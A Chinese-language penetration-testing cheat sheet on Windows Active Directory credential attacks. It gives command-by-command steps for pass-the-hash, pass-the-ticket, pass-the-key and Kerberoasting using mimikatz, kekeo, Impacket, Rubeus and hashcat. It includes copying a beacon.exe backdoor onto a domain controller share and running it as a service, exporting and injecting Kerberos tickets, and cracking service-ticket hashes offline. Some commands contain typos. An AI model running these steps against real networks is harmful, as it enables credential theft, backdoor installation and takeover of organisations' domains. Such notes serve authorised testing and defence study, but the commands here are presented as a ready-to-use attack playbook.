PTH

pass the hash(哈希传递攻击)
pass the ticket (票据传递攻击)
pass the key (密钥传递攻击)
PTH(pass the hash) # 利用的lm或ntlm的值进行的渗透测试(NTLM认证攻击)
PTK(pass the key ) #利用的ekeys aes256进行的渗透测试(NTLM认证攻击)
PTT(pass the ticket) #利用的票据凭证TGT进行渗透测试(Kerberos认证攻击)

逻辑思路:
明文传递->PTH(HASH传递)->PTT(票据攻击)->PTK(AES)

利用思路:

一,利用直接的Hash传递

1,Mimikatz

1
2
3
4
5
6
7
8
9
mimikatz privilege::debug
mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b32ca32c32144ck421aa31c321c
# 与域控建立IPC
net use \\192.168.3.32\c$
#将后门文件beacon.exe放到目标c盘中
copy beacon.exe \\192.168.3.32\c$
#设置定时任务
sc \\test create bshell binpath="c:\4.exe"
sc \\test start bshell

2,impacket-at&ps&wemi&smb

psexec -hashes :NTLM值 域名/域用户@域内ip地址
smbexec -hashes :NTLM值 域名/域用户@域内ip地址
wmiexec -hashes :NTLM值 域名/域用户@域内ip地址

二,利用hash转成PTT传递

看下面PPT讲解

三,利用hash进行暴力破解明文

https://cmd5.com/
https://hashcat.net/hashcat/

1
2
3
4
5
6
7
hashcat -a 0 -m 1000 --force 518b32ca32c32144ck421aa31c321c pass.txt

-m 密文类型
-a 破解类型
?l 小写
?s 符号
?d 数字

字典破解

1
hashcat -a 0 -m 1000 hash.txt pass.txt

暴力破解

1
hashcat -a 3 -m 1000 518b32ca32c32144ck421aa31c321c ?l?l?l?l?l?s?s?s?d?d

1.kekeo(高权限,需NTLM)

  • 利用获取的NTML生成新的票据尝试认证

因为当前主机肯定之前域其他主机连接过,所以本地应该会生成一些票据,我们导出这些票据,然后再导入票据,利用。该方法类似于cookie欺骗
缺点:票据是有有效期的,所以如果当前在连接过域控的话,有效期内可利用
生成票据:

1
shell kekeo "tgt:ask /user:Administrator /domain:god.org /ntlm:518b32ca32c32144ck421aa31c321c" "eixt"

导入票据:

1
shell kekeo "kerberos::ptt TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD. ORG.kirbi" "exit"

查看票据:

1
shell klist

利用票据连接:

1
2
3
4
5
shell dir \\主机名\C$
shell net use \\主机名\C$
copy beacon.exe \\主机名\C$
sc \\主机名 create bindshell binpath="c:\beacon.exe"
sc \\主机名 start bindshell

2.mimikatz(高权限,需Ticket)

  • 利用历史遗留的票据重新认证尝试

导出票据:

1
mimikatz sekurlsa::tickets /export

导入票据:

1
mimikatz kerberos::ptt [0;22d3a]-2-1-40e00000-Administrator@krbtgt-god.org.kirbi

查看票据:

1
shell klist

利用票据连接:

1
shell dir \\主机名\c$

注意:是否成功看当前主机有没有被目标连接过

3.Kerberoasting

  • 利用通讯的加密类型票据进行爆破明文

Kerberos攻击条件:
采用rc4加密类型票据,攻击Rubeus&Impacket检测或看票据加密类型
Kerberoasting攻击利用:
https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberoasting

黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个
目标服务的服务票证。DC在活动目录中查找SPN,并用与SPN关联的服务帐户加密票
证,以便服务能验证用户是否可以访问。请求的Kerberos服务票证的密类型是
RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的
TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻
击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM
哈希值就将用于创建服务票证。

注意:是否成功看当前主机票据加密类型
SPN:

SPN是服务器上所运行服务的唯一标识,每个使用Kerberos的服务都需要一个SPN
SPN分为两种,一种注册在AD上机器帐户(Computers)下,另一种注册在域用户帐户(Users)下
当一个服务的权限为Local SystemNetwork Service,则SPN注册在机器帐户(Computers)下
当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下

SPN的格式

1
serviceclass/host:port/servicename
  • serviceclass可以理解为服务的名称,常见的有www, ldap, SMTP, DNS, HOST等
  • host有两种形式,FQDN和NetBIOS名,例如server01.test.com和server01
  • 如果服务运行在默认端口上,则端口号(port)可以省略

查询SPN
对域控制器发起LDAP查询,这是正常kerberos票据行为的一部分,因此查询SPN的操作很难被检测
(1) 使用SetSPN
查看当前域内的所有SPN:

1
powershell setspn -q */*

查看test域内的所有SPN:

1
powershell setspn -T test -q */*

输出示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
CN=DC1,OU=Domain Controllers,DC=test,DC=com
exchangeRFR/DC1
exchangeRFR/DC1.test.com
exchangeMDB/DC1.test.com
exchangeMDB/DC1
exchangeAB/DC1
exchangeAB/DC1.test.com
SMTP/DC1
SMTP/DC1.test.com
SmtpSvc/DC1
SmtpSvc/DC1.test.com
ldap/DC1.test.com/ForestDnsZones.test.com
ldap/DC1.test.com/DomainDnsZones.test.com
Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/DC1.test.com
DNS/DC1.test.com
GC/DC1.test.com/test.com
RestrictedKrbHost/DC1.test.com
RestrictedKrbHost/DC1
HOST/DC1/TEST
HOST/DC1.test.com/TEST
HOST/DC1
HOST/DC1.test.com
HOST/DC1.test.com/test.com
E3514235-4B06-11D1-AB04-00C04FC2DCD2/0f33253b-2314-40f0-b665-f4317b13e6b9/test.com
ldap/DC1/TEST
ldap/0f33253b-2314-40f0-b665-f4317b13e6b9._msdcs.test.com
ldap/DC1.test.com/TEST
ldap/DC1
ldap/DC1.test.com
ldap/DC1.test.com/test.com
CN=krbtgt,CN=Users,DC=test,DC=com
kadmin/changepw
CN=COMPUTER01,CN=Computers,DC=test,DC=com
RestrictedKrbHost/COMPUTER01
HOST/COMPUTER01
RestrictedKrbHost/COMPUTER01.test.com
HOST/COMPUTER01.test.com
CN=MSSQL Service Admin,CN=Users,DC=test,DC=com
MSSQLSvc/DC1.test.com

以CN开头的每一行代表一个帐户,其下的信息是与该帐户相关联的SPN
对于上面的输出数据,机器帐户(Computers)为:

  • CN=DC1,OU=Domain Controllers,DC=test,DC=com
  • CN=COMPUTER01,CN=Computers,DC=test,DC=com

域用户帐户(Users)为:

  • CN=krbtgt,CN=Users,DC=test,DC=com
  • CN=MSSQL Service Admin,CN=Users,DC=test,DC=com

注册在域用户帐户(Users)下的SPN有两个:kadmin/changepwMSSQLSvc/DC1.test.com

域内的任何一台主机,都能够通过查询SPN,向域内的所有服务请求TGS,拿到TGS后对其进行暴力破解

对于破解出的明文口令,只有域用户帐户(Users)的口令存在价值,不必考虑机器帐户的口令(无法用于远程连接)

因此,高效率的利用思路如下:

1,查询SPN,找到有价值的SPN,需要满足以下条件:

  • 该SPN注册在域用户帐户(Users)下
  • 域用户账户的权限很高

2,请求TGS
3,导出TGS
4,暴力破解

Kerberoasting的实现方法一(手动检测)

需要满足以下条件:

  • 该SPN注册在域用户帐户(Users)下
  • 域用户账户的权限很高

手动原理:
先使用spn去获取那些通讯的服务
再去连接通讯这个服务,产生票据
查看票据的加密通讯类型判断能不能爆破
1、使用SetSPN
查看当前域内的所有SPN:

1
powershell setspn -q */*

2、请求TGS
(1)请求指定TGS

1
2
3
4
5
$SPNName = 'MSSQLSvc/DC1.test.com'
powershell Add-Type -AssemblyNAme System.IdentityModel
powershell New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName
或者:
mimikatz kerberos::ask /target:MSSQLSvc/DC1.test.com

(2)请求所有TGS

1
2
Add-Type -AssemblyName System.IdentityModel  
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

执行后输入klist查看内存中的票据,可找到获得的TGS
3、导出
使用mimikatz

1
kerberos::list /export

4、破解
https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py
文件票据:

1
./tgsrepcrack.py pass.txt test.kirbi

HASH密文:

1
hashcat -m 13100 hash.txt pass.txt --force

Kerberoasting的实现方法二(工具)

工具:
1,impacket-getuserspns
请求所有SPN服务器,并找到能破解的票据格式保存到hash.txt

1
python GetUserSPNs.py -request -dc-ip 192.168.3.32 域名/账户:密码 -outputfile hash.txt

2,Rubeus
https://github.com/GhostPack/Rubeus

1
2
TGS包直接打印能够使用John或hashcat能够破解的Hash。
Rubeus.exe kerberoast /format:john /outfile:kerberoasting.txt

PTK

pass the key (密钥传递攻击)
PTK(pass the key ) #利用的ekeys aes256进行的渗透测试(NTLM认证攻击)
当系统安装了KB2871997补丁且禁用了NTLM的时候,那我们抓取到的ntlm hash失去了作用,但是可以通过PTK的攻击方式获取权限

mimikatz sekurlsa::ekeys
mimikatz sekurlsa:pth /user:域用户名 /doamin:域名 /aes256:aes256值